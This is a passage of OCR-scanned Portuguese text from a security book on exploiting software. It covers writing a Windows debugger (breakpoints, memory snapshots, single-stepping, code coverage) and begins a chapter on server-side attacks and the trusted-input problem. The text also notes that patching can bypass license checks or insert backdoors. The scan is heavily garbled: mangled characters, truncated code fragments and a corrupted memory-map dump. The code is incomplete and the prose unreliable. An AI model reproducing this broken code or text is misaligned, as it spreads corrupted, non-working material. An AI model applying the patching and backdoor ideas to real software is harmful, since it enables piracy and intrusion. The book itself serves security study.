urn desses locais invalidos, a i nterrup~ao da depura~ao ira disparar. Isso acontece as vezes na pilha do programa, nas regi6es entre quadros de pilha. Naturalmente, a interrup~ao 3 nao tern que ser, necessariamente, o modo de processar urn breakpoint. Poderia muito bern ser a interrup<;:ao 1 ou qualquer outra. As interrup<;:6es sao baseadas em software, e o software do SO decide como ini processar o even to. lsso econtrolado por meio da tabela descritora de interrup<;:6es (quando o processador esta executando no modo protegido) ou da tabela de vetores de interrup<;ao (quando esta executando em modo real). Para configurar urn breakpoint, e necessario primeiro salvar a instru<;ao original que voce esta substituindo; em seguida, ao remover o breakpoint, voce pode colocar a instru<;:ao salva de volta no local original. 0 c6digo a seguir mostra a grava<;:ao do valor ori.ginal antes de configurar urn breakpoint: 11111111111111111111111111111111111111111111111111111111111111111111111111111111 II Al tera a prote~ao de pagina para podermos ler a II e depois a restaura quando terminarmos.
0 codigo anterior altera a prote<;ao de memoria para podermos ler o endere<;o-alvo. Ele armazena o byte de dados original. Depois, o codigo a seguir sobrescreve a memoria com uma instru<;ao 0xCC. Observe que verificamos a memoria para determinar se ja havia urn breakpoint configurado antes de chegarmos. bool SetBreakpoint() {
char a_bpx
~
'\xCC';
if( !m_hProcess) {
_error_out("Attempt to set breakpoint without target process"); return FALSE; }
/lllllllllllllllllllll/111111111111111111111111111111111111111111111111111111111 II Altera a
prote~ao
de pagina para podermos gravar; depois a restaura.
char _c[255]; sprintf(_c, " [! J Fai 1ed to write process memory, error %d _e rror _out(_c); return FALSE; }
if(!m_persistent) {
m_refcount++ ; }
DWORD d1..0l dProtect;
\n", GetLastError());
Como quebrar c6digos
114
II Restaura a prote~ao. if(!VirtualProtectEx( m_hProcess, mbi .BaseAddress , mbi.RegionSize, mbi.Protect, &dwOldProtect )) {
_error_out("Vi rtualProtect fai 1ed! "); return FALSE; }
II TOOO: Esvaziar o cache de
instru~ao .
return TRUE; }
0 codigo anterior escreve na memoria do processo-alvo urn unico byte 0xCC. Como uma instruc;ao, isso e traduzido como uma inrerrupc;ao 3. Primeiramente, devemos alterar a protec;ao de pagina da memoria-alvo para podermos gravar nela. Alteramos a protec;ao de volta para o valor original antes de permitir que o programa continue. As chamadas de API utilizadas aqui estao totalmenre documentadas na Microsoft Developer Network (MSDN) e recomendamos que voce as verifiqu e Ia. Lendo e gravando na memoria
Depois de atingir um breakpoint, normal mente a proxima tarefa e examinar a memoria. Se voce quiser utilizar algumas das tecnicas de depurac;ao explicadas neste livro, e necessaria examinar a memoria em relac;ao aos dados fornecidos pelo usuario. A leitura e gravac;ao na memoria sao rea]izadas facilmente no ambiente Windows utilizando uma API simples. Voce pode consultar para ver o tipo de memoria disponfvel e tambem pode ler e gravar na memoria utilizando rotinas semelhantes a memcpy. Se quiser consultar um local de memoria para determinar se e valido ou ver as propriedades que estao configuradas (leitura, gravac;ao, nao paginada etc.), voce pode utilizar a rotina Vi rtualQueryEx. 11111111111111111111111111111111111111111111111111111111 II Verifica se podemos ler o
MEMORY_BASIC_INFORMATION mbi; int sz = VirtualQueryEx( theThread->m_hProcess, (void >'>)p,
)
Capitulo 3
Engenharia reversa e entendimento do programa
115
&mbi' sizeof(MEMORY_BASIC_INFORMATION)); if(
(mbi.State == MEMLCOMMIT) &&
(mbi.Protect != PAGE_READONLY) &&
(mbi.Protect != PAGE_EXECUTE_READ) &&
(mbi .Protect != PAGE_GUARD) &&
(mbi.Protect != PAGE_NOACCESS) ) {
ret = TRUE; }
return ret; }
A fun~:rao de exemplo determina se o endere~:ro de memoria e legfvel. Se quiser ler ou gravar na memoria, voce pode utilizar as chamadas de API ReadProcessMemory e
WriteProcessMemory. Depurando programas multithread Se o programa tiver varios threads, voce pode controlar o comportamento de cada thread individual (algo muito util para atacar urn codigo mais moderno). Hi chamadas de API para manipular o thread. Cada thread tern urn CONTEXT. 0 contexte e uma estrutura de dados que controla dados importantes de processo como o ponteiro de instrw;oes atual. Modificando e consultando estruturas de contexte, voce pode controlar e rastrear todos os threads de urn programa multithread. Veja urn exemplo de configura~:rao do ponteiro de instnt~:roes de urn determinado thread: bool SetEIP(DWORD theEIP) {
Nesse exemplo, voce pode ver como ler e configurar a estrutura do contexto de thread. A estrutura de contexto de thread esta totalmente documentada nos arquivos de cabe~alho da Microsoft. Observe que o flag de contexto CONTEXT_FULL econfigurado durante uma opera~ao de get ou set. Esse procedimento permite controlar todos os va lores dos dados da estrutura de contexto do thread. Lembre-se de fechar o handle de thread quando terminar a opera<;ao; caso contrario, voce causara urn problema de vazamento de recursos. 0 exemplo utiliza uma chamada de API chamada OpenThread. Se voce nao conseguir vincular seu programa a OpenThread, tent que importar a chamada manualmente. Isso foi feito no exemplo, que utiliza urn ponteiro de fun~ao chamado fOpenTh read. Para inicializar o fOpenThread, voce deve importar o ponteiro de fun~ao diretamente de KERNEL32. DLL: typedef void * (__ stdcall *FOPENTHREAD) (
dwDesiredAccess, II Direito de acesso BOOL binheritHandle, II Op~ao de heran~a de handle DWORD dwThreadid II Identificador de thread D~ORD
_e rror_out(" [!) failed to get openthread function!\n"); }
Este e urn bloco de codigo particularmente util porque mostra como definir uma funs;ao e importa-la de uma DLL manualmente. Voce pode utilizar varias;oes dessa sintaxe para quase todas as funs:oes exportadas de DLL. Enumerando threads ou processos Utilizando a API "toolhelp" (aj uda de ferramentas) forn ecida pelo Windows, voce pode consultar todos processes e threads em execus:ao. Voce pode utilizar esse codigo para consultar todos os threads em execus:ao no seu alvo de depuras:ao. II Para o processo-alvo, erie uma II estrutura de thread para cada thread . hProcessSnap = NULL; = CreateTool help32Snapshot( TH32CS_SNAPTHREAD, mPID); i f (hProcessSnap == INVALID_HANDLE_VALUE)
I I Cria uma estrutura de thread . if(the.th320wnerProcessiD == mPID) {
CDThread ,,aThread = new CDThread; aThread->m_thread_id = the .th32ThreadiD; aThread->m_hProcess = m_hProcess; mThreadLi st .push_back( aThread ); }
bret }
}
=
Thread32Next (hProcessSnap, &the);
118
Como quebrar c6digos
Nesse exemplo, urn objeto CDThread esta sendo criado e inicializado para cada thread. A estrutura de thread que e obtida, THREADENT RY32, tern muitos valores interessantes para o depurador. Recomendamos que voce consulte a documenta~ao da Microsoft sobre essa API. Observe que o c6digo verifica a identifica~ao de processo de proprietario (PID) de cada thread para certificar-se de que ela faz parte do processo-alvo de depura~ao. Passo a passo 0 rastreamento do fluxo de execu~ao do programa emuito importante quando voce quer saber se o invasor (ou talvez voce) pode controlar a 16gica. Por exemplo, se o 13 2 byte do pacote esta sendo passado a uma instru~ao switch, o invasor controla a instru~ao switch porque ele controla o 132 byte do pacote. A execu~ao passo a passo e urn dos recursos do chipset x86. Ha urn flag especial (chamado TRAP FLAG) no processador que, se configurado, fara com que somente uma instru~ao seja executada, seguida de uma interrup~ao. Utilizando a interrup~ao passo a passo, o depurador pode examinar todas as instru~oes que estao em execu~ao. Voce tambem pode examinar a memoria a cada passo utilizando as rotinas citadas anteriormente. A ferramenta chamada The PIT faz exatamente isso. 15 Todas essas tecnicas sao relativamente simples mas, quando combinadas adequadamente, constituem urn depurador muito eficiente. Para colocar o processador em modo de execu~ao passo a passo, e necessaria configurar o flag single-step. 0 c6digo a seguir mosrra como fazer isso: boo1 SetSi ng1eStep() {
Observe que influenciamos o flag trace utilizando as estruturas de contexto de thread. 0 ID de thread e armazenado em uma variavel chamada m_thread_id. Para co)ocar urn programa COm varios threads em passo a passo, todos OS threads devem ser configurados em passo a passo. Patching Se voce estiver utilizando nosso tipo de breakpoints, ja experimentou a ap lica~ao de patches. Ao ler o byte original de uma instru~ao e substituf-lo por 0xCC, voce aplicou urn patch ao programa original! Naturalmente, a tecnica pode ser utilizada para aplicar patches em muito mais que uma {mica instru~ao. Os patches podem ser utilizados para inserir instru~oes de desvio, novos blocos de c6digo e ate para sobrescrever dados estaticos. A aplica~ao de patches e uma das formas pelas quais OS piratas de software quebram mecanisrnos de direitos autorais digitais. Na verdade, e possfvel fazer varias coisas interessantes alterando somenre uma unica instru~ao jump. Por exemplo, se urn programa tern urn bloco de c6digo que verifica o arquivo de licen~a, o pirata de software s6 precisa inserir urn jump que desvia da verifica~ao de licen~a. 16 Se voce esta interessado em quebrar software, ha literalmente milhares de docurnentos publicados na Internet sobre o assunto. Voce encontra facilmente esses esquemas na Internet digitando "software cracking" no Google. E' importance aprender a urilizar patches. Eles permitem, em muitos casos, corrigir urn bug de software. Naturalmenre, tarnbem permitem inserir urn bug de software. Talvez voce saiba que urn cerro arquivo esta sendo utilizado pelo software servidor do seu alvo. Voce pode inserir urn backdoor util utilizando as tecnicas de patch. No Capitulo 8, ha urn born exemplo de patch de software (patch no kernel do NT). 16. Essa abordagem muito b.1sica ja nao e muito utilizada na pratica. 0 livro Building Secure Software [Viega e McGraw, 2001] trata de esquemas mais complicados.
Como quebrar c6digos
120
ln)e~ao
de falhas A inje~ao de falha pode ter varias formas [Voas e McGraw, 1999]. No nfvel mais basico, a ideia e simplesmente fornecer entradas estranhas ou inesperadas a urn software e ver o que acontece. As varia~oes da tecnica envolvem alterar o codigo e injetar dados corrompidos no heap ou na stack (pilha) do programa. 0 objetivo e fazer o software falhar de forma interessante. Quando se utiliza a inje~ao de falha, o software sempre falha. A pergunta e: "Como ele falha?" 0 software falha de uma forma que permite ao invasor obter acesso ao sistema? 0 software revela informa~oes secretas? 0 resultado de uma falha provoca uma falha em cascata que afeta outras partes do sistema? As falhas que nao causam dano ao sistema indicam urn sistema tolerante a falhas. A inje~ao de falha e urn dos metodos de teste mais eficientes, mas ainda e urn dos mais subutilizados pelos fabricantes de softwares comerciais. Epor isso que os softwares comerciais atuais tern tantos bugs. Muitos dos supostos engenheiros de software acreditam que um processo rigido de desenvolvimento de software necessariamente da origem a urn codigo seguro e livre de bugs, mas isso nao e necessariamente verdadeiro. As situa~oes concretas nos mostraram varias vezes que, sem uma boa estrategia de teste, o c6digo sempre tera bugs perigosos. Chega a ser engra~ado (do ponto de vista do invasor) saber que o or~amento dos fabricantes de software que e reservado ao teste de software e, ainda hoje, muito baixo. Isso significa que os invasores continuarae dominando por muito tempo. A inje~ao de falha na entrada do software e uma boa maneira de testar a procura de vulnerabilidades. A razao e simples: 0 invasor controla a entrada do software; portanto, e natural testar todas as possiveis combina<;oes de entrada que o invasor pode fornecer. No fim das contas, voce acaba encontrando uma combina<;ao que explora o software, certo?! 17 Snapshot do processo Quando urn breakpoint e ativado, o programa "congela" no meio da execu<;ao. Toda a execu<;ao em todos OS threads e interrompida. Nesse ponto, e possfvel utilizar as rotinas de memoria para ler ou gravar qualquer parte da memoria do programa. Urn programa comum rem varias se~oes de memoria importantes. Este e urn snapshot (instantaneo) da memoria do servidor de nome que esta executando o BIND 9.02 no Windows NT: named.exe: Found memory Found memory Found memory Found memory
based based based based
at at at at
0x00010000, 0x00020000, 0x0012d000, 0x0012e000,
size size size size
4096 4096 4096 8192
17. Claro que nao! Entretanto, a tecnica realmente funciona em alguns casos.
Capitulo 3
Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found
based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based based
at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at at
Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found
based based based based based based based based based based based based based based based based based based based based based based based based based based
at at at at at at at at at at at at at at at at at at at at at at at at at at
Voce pode ler e armazenar todas essas se~oes de memoria. Pode-se comparar isso a urn snapshot do programa. Se voce permite que o programa continue a executar, pode congeh1-lo a qualquer momento, utilizando outro breakpoint. Em qualquer ponto em que o programa congelar, voce pode gravar de volta a memoria original que salvou anteriormente. Esse procedimento efetivamente "reinicia" o programa no ponto onde voce tirou o snapshot. Isso significa que voce pode "retroceder" o programa no tern. po contmuamente. Para o teste automatizado, essa e uma tecnica eficiente. Voce pode tirar urn snapshot do programa e reinicia-lo. Depois de restaurar a memoria, voce pode mexer na memoria, adicionar corrup~ao ou simular varios tipos de entradas de ataque. Depois disso, quando o programa estiver executando, agira de acordo com a entrada defeituosa. Pode-se aplicar esse processo em urn loop e ficar testando o mesmo codigo com varias perturbas;oes diferentes de entrada. Essa abordagem automatizada e muito eficiente e pode permitir o teste de milhoes de combinas;oes de entrada. 0 c6digo a seguir mostra como tirar urn snapshot de urn processo-alvo. 0 c6digo faz uma consulta em toda a possfvel faixa de memoria. Em cada local valido, a memoria e copiada em uma lista de estruturas:
TRACE("Read short bytes %d !; %d\n", mbi.RegionSize, lpRead); }
gMemlist.push_front(b); }
if(start + mbi.RegionSize
0 codigo utiliza a chamada de API Vi rtualQueryEx para testar cada localiza<;ao de memoria, de 0 a 0xFFFFFFFF. Caso seja localizado urn endere<;o de memoria valido, 0 tamanho da regiao de memoria e obtido e a proxima consulta e colocada logo apos a regiao atual. Dessa maneira, nao consultamos mais de uma vez a mesma regiao da memoria. Sea regiao de memoria for confirmada, isso significa que estci sendo utilizada. Verificamos sea memoria nao e somente de leitura, para salvarmos apenas as regioes de memoria que podem ser modificadas. E' claro que a memoria somente de leitura nao sera modificada; portanto, nao ha necessidade de salva-la. Se voce for realmente meticuloso, podera salvar todas as regioes de memoria. Talvez voce desconfie de que o programa-alvo altera as prote<;oes de memoria durante execu<;ao, por exemplo. Se quiser restaurar o estado de programa, voce pode gravar de volta todas as regioes de memoria que foram salvas: void setsnap() {
std : :list
struct mb *U ; *ff; if(u) {
DI'K)RD lpBytes; TRACE("Writing memory based at %d, size %d\n", u->mbi.BaseAddress, u->mbi.RegionSize); if(!WriteProcessMemory(hProcess, u- >mbi.BaseAddress, U->p,
Capitulo 3
Engenharia reversa e entendimento do programa
125
u->mbi.RegionSize , &lpBytes)) {
TRACE("WriteProcessMemory fai l ed, error %d\n", GetLastError()); }
0 codigo para gravar a memoria de volta emuito mais simples. Ele nao precisa consultar as regioes de memoria; apenas grava as regioes de memoria de volta nos locais • ongmats. Desassemblando o codlgo de maqulna 0 depurador tern de ter a capacidade de desassemblar as instru~oes. Urn breakpoint ou evento de passo a passo deixa cada thread do processo-alvo apontando para alguma instru9ao. Utilizando as fun~oes CONTEXT do thread, voce pode determinar o endere90 de memoria em que a instru9ao reside, mas isso nao revela a instru9ao propriamente dita. E' necessario desassemblar a memoria para determinar a instru9ao. Felizmente, nao e necessario criar urn disassembler a partir do zero. A Microsoft fornece urn disassembler juntamente como SO. Esse disassembler euti lizado, por exemplo, pelo utilitario Dr. Watson quando ocorre urn travamento. Podemos pegar emprestada essa ferramenta para fornecer fun~oes de desassemblagem ao nosso depurador: HANDLE hThread fOpenThread(
II Desassembla a instru~ao. if ( disasm ( &dp &ulOffset (PUCHAR)m_instruction, FALSE ) ) {
ret
=
TRUE;
}
else {
_error_out("error disassembling instruction\n"); ret = FALSE; }
CloseHandle(hThread);
Uma estrutura de thread definida pelo usuario e utilizada nesse codigo. 0 contexte e obtido para sabermos qual instru~ao esta sendo executada. A chamada de fun~ao di sasm e publicada no c6digo-fonte do Dr. Watson e pode ser incorporada facilmente ao seu projeto. Recomendamos que voce encontre o c6digo-fonte do Dr. Watson para adicionar a capacidade de desassemblagem correspondente. Como alternativa, ha outros disassemblers de codigo-fonte aberto a disposi~ao, que fornecem uma funcionalidade semelhante.
Crlando uma ferramenta baslca de cobertura de codlgo Como ja mencionamos no capftulo, todas as ferramentas disponfveis de cobertura, comerciais ou nao, nao dispoem de recursos e merodos significativos de visualiza~ao de dados que sao importantes para o invasor. Em vez de combater com ferramentas caras e deficientes, por que nao criar a sua propria ferramenta? Nessa se~ao, apresentamos uma das j6ias deste livro - uma ferramenta simples de cobertura de codigo que pode ser projetada utilizando as chamadas de depura~ao da API, que sao descritas em outra parte do livro. A ferramenta deve mon itorar todos os desvios condicionais do c6digo. Se for possfvel controlar o desvio condicional pel as entradas fornecidas pelo usuario, deve-se observar esse fato. Naturalmente, o objetivo e determinar se o conjunto de entrada utilizou todos os desvios possfveis que podem ser controlados. Para os fins desse exemplo, a ferramenta executara o processador em modo passo a passo e monitorara cada instru~ao utilizando urn disassembler. 0 objeto central que
Capitulo 3
Engenharia reversa e entendimento do programa
127
estarnos rnonitorando e urn local de c6digo. 0 local e urn unico bloco continuo de instruc;oes sern desvios. As instruc;oes de desvio conectarn todos os locais de c6digo. Ou seja, urn local de c6digo se liga a outro local de c6digo. Querernos rnonitorar todos os locais de c6digo que forarn visitados e deterrninar se a entrada fornecida pelo uswirio esta sendo processada no local. A estrutura que estarnos utilizando para monitorar localizac;oes de c6digo e a seguinte: II Urn l ocal de c6digo struct item {
Cada local tern uma lista de ponteiros para todos os desvios-alvo do local. Cada local tambem tern uma string que representa as instrus;oes de assembly que compoem a localizas:ao. 0 seguinte c6digo e executado em cada evento passo a passo: struct item *anitem = NULL;
II
Certifica-se de ter um contexte "fresco" . theThread->GetThreadContext();
II
Desassembla a instru~ao- alvo. m_disasm.Disasm( theThread ); Determina se esse e o alvo de uma instru~ao de desvio. if(m_next_is_target I I m_next_is_calltarget)
Primeiramente, vemos que o codigo obtem uma estrutura "fresca" do contexto para o thread que acabou de ser inspecionado. A instru~ao apontada pelo ponteiro de instru~6es e desassemblada. Se a instru~ao e o infcio de urn novo local de codigo, a lista de locais atualmente mapeados e consultada para nao criarmos entradas duplas. Em seguida, a instru~ao e comparada com uma lista de instru~6es de desvio conhecidas e os flags adequados sao configurados na estrutura do item. Por fim, e feita uma verifica~ao em rela~ao aos tags boron. 0 codigo para uma verifica~ao de tags boron e apresentado no parcigrafo a seguir. Veriflcando a
presen~a
de tags Boron
Quando ocorre urn breakpoint ou evento de passo a passo, o depurador pode consultar a memoria procurando tags boron (ou seja, substrings reconhecidamente fornecidas pelo usuario). Usando as rotinas de consulta de memoria ja apresentadas no livro, podemos fazer algumas consultas razoavelmente inteligentes em rela~ao aos tags boron. Como os registradores de CPU sao usados constantemente para armazenar ponteiros de dados, faz sentido verificar todos os registradores de CPU a procura de ponteiros validos de memoria quando ocorre urn evento de passo a passo ou uma interrup~ao. Se o registrador aponta para uma memoria valida, podemos consultar a memoria e procurar urn tag boron. 0 fato e que todo local de codigo que esta utilizando dados fornecidos pelo usuario geralmente tern um ponreiro para esses dados em urn dos registradores. Para verificar os registradores, voce pode utilizar uma rotina como esta:
.... 1I Repete essa chamada em todos os registradores EAX, EBX, ECX, EDX, ESI e EDI.
return FALSE; }
Para poupar espa~o, n6s nao colamos o c6digo para todos os registradores, somente para o registrador EAX. 0 c6digo deve consulrar todos os regisrradores citados no comentario. A fun<;ao retorna TRUE se o tag boron fornecido for encontrado em urn dos ponteiros de memoria.
Conclusao Todo software ecomposto por urn c6digo legfvel por maquina. Na verdade, eo c6digo que faz cada programa funcionar da forma como funciona. 0 c6digo define o software
132
Como quebrar c6digos
e as decisoes que ele ira tomar. A engenharia reversa, da forma que e aplicada ao software, eo processo de procurar padroes no c6digo. Identificando certos padroes de c6digo, o invasor pode encontrar possfveis vulnerabilidades de software. Este capitulo lhe mostrou os conceitos basicos e os metodos de descompila~ao, para que voce entenda melhor como o programa realmente funciona. Chegamos ate a fornecer algumas ferramentas rudimentares (mas eficientes) como exemplos. Utilizando esses metodos e ferramentas, voce pode aprender quase tudo o que precisa saber sobre urn alvo e usar essas informas:oes para explora-lo.
Ex orando software servidor
ato de invadi r urn computador sentando a frente dele com urn disco de inicializa~ao bei ra a banalidade. Mas urn ataque com disco de inicializa~ao requer sentar a frente de urn console que pode ter prote~oes flsicas (inclusive, digamos, seguran<;as armados e cachorros). A unica grande habilidade necessaria para realizar esse tipo de ataque e conseguir entrar no local. Por isso, a seguran<;a fisica proporcionada pelo seguran<;a armado enecessaria para proteger a maioria dos computadores de seguran<;a crucial (pense na National Security Agency- NSA, dos EUA). Naturalmente, em uma situa~ao extrema, o computador mais seguro eo que nao esta conectado a rede, fica sempre desligado, esta com o disco zerado e enterrado sob quatro toneladas de concreto. 0 problema da seguran~a ffsica extrema e que o computador rna is seguro tam hem parece ser completamente inutil! Nas situa~oes reais, as pessoas gostam de fazer coisas no computador. Sendo assim, os computadores sao ligados, inicializados, conectados aInternet e OS usuarios digitam coisas com 0 tecJado. Na Internet, muito pouco e feito para dar seguran<;a a maioria das maquinas. Maquinas sem seguran<;a, que sao ligadas assim que saem da caixa, estao "nuas". A Internet e, em grande parte, urn conjunto de maquinas nuas conectadas como latas amarradas com urn barbante. 0 problema e tao grave que urn candidato a script kiddie literalmente pode fazer o download de uma ferramenta de explora~ao com mais de dois anos em urn site publico e, mesmo assim, atacar com sucesso uma quantidade surpreendentemente grande de maquinas. Na Internet, sempre ha alvos faceis que servem para praticar. Em situa~oes mais realistas, uma rede-alvo tera um pouco mais de seguran~a, tera os patches de software mais recentes, urn sistema de detec<;ao de intrusao para descobrir ataques conhecidos e urn firewall ou dois com alguns equipamentos de auditoria real. Naturalmente, pode-se explorar o software em qualquer Iugar, nao s6 em maquinas conectadas a Internet. Ainda existem redes "fora de moda ", como as redes de telefonia, linhas dedicadas, transmissao a laser de alta velocidade, frame relay, X.25, satelite e microondas. Mas os riscos sao semelhantes, apesar de os protocolos de comumca<;ao nao serem.
0
0
-
-
134
Como quebrar c6digos
Os ataques remotos- ataques atraves de redes- sao muito menos perigosos (para o invasor) do ponto de vista ffsico, em compara~ao com ataques que exigem acesso ffsico maquina. Sempre e born evitar o perigo ffsico, como ferimentos a bala e mordidas de cachorro (para nao falar em prisao). Entretanto, os ataques remotos tendem a ser tecnicamente mais complexos, e requerem mais do que uma capacidade minima de engenharia. 0 ataque remoto sempre envolve o ataque a um software em rede. 0 software que aceita conexoes de rede e realiza atividades para os usua.rios remotos e o chamado software servidor. 0 software servidor e o alvo dos ataques remotos. Este capitulo e sobre a explora~ao do software servidor. Enfocamos principalmente o software baseado na Internet, mas tenha em mente que outras formas de software servidor sao vftimas dos mesmos ataques descriros aqui. A exp l ora~ao do software servidor pode ter varias razoes. Talvez o programador nao tenha muita experiencia e conhecimento em seguran~a. Talvez o responsavel pelo projeto tenha fe ito suposi~oes erradas sobre o caniter "amigavel" do ambiente. Talvez tenham sido utilizados protocolos malfeitos ou ferramentas inadequadas. Todos esses problemas dao origem a vulnerabilidades. Varias explora~oes tern como origem erros incrivelmente simples (e bobos) como o mau uso de APis (por exemplo: gets( ) ). Esses tipos de bugs parecem ser grandes descuidos por parte dos desenvolvedores, mas lembre-se de que a maioria dos desenvolvedores de hoje nao tem no~ao dos problemas de seguran~a de software. Em todo caso, nao importando se as vulnerabilidades sao vulnerabilidades de entradas confiaveis, erros de programa~ao, erros de calculos computacionais ou problemas simples de sintaxe, todas essas causas em conjunto dao origem a explora~oes remoras. Os tipos mais basicos de ataque abordados neste capitulo sao apresentados em profundidade em livros como Hacking Exposed [McClure et al., 1999]. Foram captados ataques mais simples ao servidor em ferramentas altamente disponfveis que voce (e outros) pode baixar na Internet. Se voce precisa saber mais sobre os prindpios basicos de ataque server-side (do lado do servidor) e sobre o uso de ferramentas simples, leia esse livro. N6s come~amos de onde eles pararam. Neste capitulo, apresentamos varias questoes basicas da explora~ao server-side, inclusive o problema das entradas confiaveis, o problema do eleva~ao de privilegios, a localiza~ao de pontos de inje~ao e explora~ao da confian~a por meio da configura~ao. Em seguida, passamos a apresentar um conjunto de tecnicas especfficas de explora~ao com varies exemplos, para que voce veja como as questoes gerais sao postas em pratica.
a
0 problema da entrada confhlvel Uma suposi~ao por parte dos desenvolvedores e arquitetos e de que OS usuaries do software nunca serao hostis. Infelizmente, isso esra errado . O s usuaries maliciosos existem, especialmente quando o software aceita entradas diretamente da Internet. Outro equlvoco comum e um erro 16gico baseado na ideia segundo a qual, sea interface com o usuario no programa cliente nao permitir a gerac;ao de uma determinada
Capitulo 4 Explorando software servidor
135
entrada, a entrada nao ira acontecer. Esse e outro erro. 0 invasor nao tern nenhuma necessidade de utilizar urn c6digo espedfico de cliente para gerar entrada para urn servidor. Urn invasor pode simplesmente mergulhar em urn mar agitado de bits brutos e enviar a lguns pela fia~ao . Esses dois problemas sao a genese de varios problemas de entrada confiavel. Nenhum tipo de dado bruto que existe do !ado de fora do software servidor deveria ser confiavel. A seguran~a do !ado do cliente e urn paradoxo. Em termos simples, todos OS clientes serao invadidos. Naturalmente 0 verdadeiro problema e a confian~a do cliente. Aceitar cegamente qualquer coisa do cliente e confiar totalmente nele e uma rna ideia; mesmo assim, isso acontece muito no projeto server-side. Considere urn problema comum. Se os dados que nao deveriam ser confiados e a entrada for utilizada para criar urn nome de arquivo ou acessar urn banco de dados, o c6digo de servidor tera concedido explicitamente o acesso ao sistema local a urn diente (que talvez nao mere~a). A confian~a indevida e urn problema generalizadotalvez seja o problema de seguran~a mais preponderance. 0 sistema de software nao deve confiar implicitamente em urn posslvel invasor. As transa~oes realizadas por usuarios devem sempre ser tratadas como hostis. Os programas que aceitam entradas da Internet (mesmo se forem supostamente "filtradas" por uma aplica~ao firewall) tem de ser projetados de forma defensiva. Entretanto, a maioria dos programas aceita alegremente as entradas dos usuarios e realiza opera~oes de arquivo, consultas ao banco de dados e chamadas de sistema com base na entrada bruta. Urn dos problemas basi cos envolve o uso de uma "black list" ("lista negra") para filtrar e remover "entradas inadequadas." 0 problema dessa abordagem e que a cria~ao e manuten~ao de uma black list abrangente e completa e, para dizer o mlnimo, dificil. Uma abordagem muito melhor e a especifica<;a.o das entradas que devem ser permitidas, formando uma "white list". Os equfvocos da black list faci li tam muito o trabalho do invasor. Ha muitas vulnerabilidades porque a entrada do usuario e confiada e utilizada de formas que permitem ao usuario abrir arquivos arbitrarios, controle consultas a bancos de dados e ate mesmo desligue o sistema. Alguns desses ataques podem ser executados por usuarios anonimos da rede. Outros requerem uma conta de usuario e uma senha para serem explorados adequadamente. Entretanto, nem mesmo os usuarios normais devem ter a capacidade de fazer o dump de bancos de dados inteiros e criar arquivos na raiz do servidor de arquivos. Em muitos casos, no projeto-padrao de sistemas cliente/servidor, o programa cliente tera uma interface como usuario e, portanto, atuara como uma "camada intermediaria" entre o usuario eo programa servidor. Por exemplo: urn fonnulario em uma pagina Web representa uma camada inrermediaria entre o usuario eo programa servidor. 0 cliente apresenta urn belo formulario grafico no qual o usuario pode inserir dados. Quando o usuario pressiona o botao "Submit (Enviar)", o c6digo cliente junta todos os dados no formulario, reformula seu formato eo entrega ao servidor.
136
Como quebrar c6digos
As interfaces como usuario se destinam a atuar como uma camada de abstra~ao entre urn humano e urn programa servidor. Por isso, as interfaces como usuario quase nunca mostram os aspectos pniticos e funcionais do que esta sendo transmitido do cliente para o servidor. Da mesma forma, o programa diente rende a mascarar boa parte dos dados que o servidor pode fornecer. A interface com o usuario pega os dados, converte-os para utiliza~ao, enfeita-os etc. Entretanto, nos bastidores, esta ocorrendo a transmissao dos dados brutos. Naturalmente, o software cliente so ajuda o usuario a criar uma solicita~ao com ' formata~ao especial. E totalmente possfvel remover o codigo cliente do loop, desde que o usuario possa criar manualmente a solicita~ao com formato especial. Porem, ate mesmo esse faro simples parece passar despercebido na "arquitetura de seguran~a" de varias aplica~oes on-line. Os invasores contam com o fato que eles podem criar programas cliente hostis ou interagir diretamente com os servidores. Urn dos programas mais conhecidos de "cliente do mal" utilizado pelos invasores eo chamado netcat. 0 netcat simplesmente abre uma porta para urn servidor remoro. Apos estabelecer essa porta, o invasor pode teclar manualmente ou fazer urn pipe da saida com o servidor remoto. Bingo! 0 cliente desapareceu.
Padrao de ataque: Torne o cllente lnvlsivel Remova o cliente do loop de comunica~oes conversando diretamente com o servidor. Explore para determinar o que o servidor ira e nao ira aceitar como entrada.
Toda confian~a do servidor em rela~ao ao cliente e uma receita de desastre. Um programa seguro de servidor deve ser explicitamente paranoico em rela~ao a qualquer tipo de dado enviado pela rede e sempre deve pressupor que urn cliente hostil esta sendo utilizado. Por essa razao, as praticas de programa~ao segura nunca podem conter solu~oes baseadas em campos ocultos nem na valida~ao de formularios JavaScript. Pelo mesmo motivo, o projeto seguro nunca deve confiar na entrada do cliente. Para saber mais sobre como evitar o problema das entradas confiaveis, consuite Writing Secure Code [Howard e LeBlanc, 2002] e Building Secure Software [Viega e McGraw, 2001].
0 problema de
eleva~ao
de privilegios
Certos componentes do sistema tern relacionamentos de confian~a (as vezes implfcitos, as vezes explfcitos) com outras partes do sistema. Alguns desses relacionamentos de confian~a oferecem possibilidades de "eleva~ao de confian~a" - ou seja, esses componentes podem expandir confian~a cruzando os limites internos de uma .regiao
Capitulo 4 Explorando software servidor
137
de menos confians;a para uma regiao de mais confians;a. Para entender isso, pense no que acontece quando uma chamada de sistema no nfvel do kernel e feita por uma aplicas;ao simples. A confian~a no kernel e claramente muito maior que a confian~a na aplica~ao porque, se o kernel se comportar mal, coisas graves podem acontecer; a aplicac;ao, por sua vez, pode ser neutralizada sem conseqiiencias dnlsticas. Ao falar sobre pan1metros confiaveis, devemos pensar em termos de elevas;ao de confian<;a no sistema. Onde o padimetro confiavel esta sendo inserido e onde est
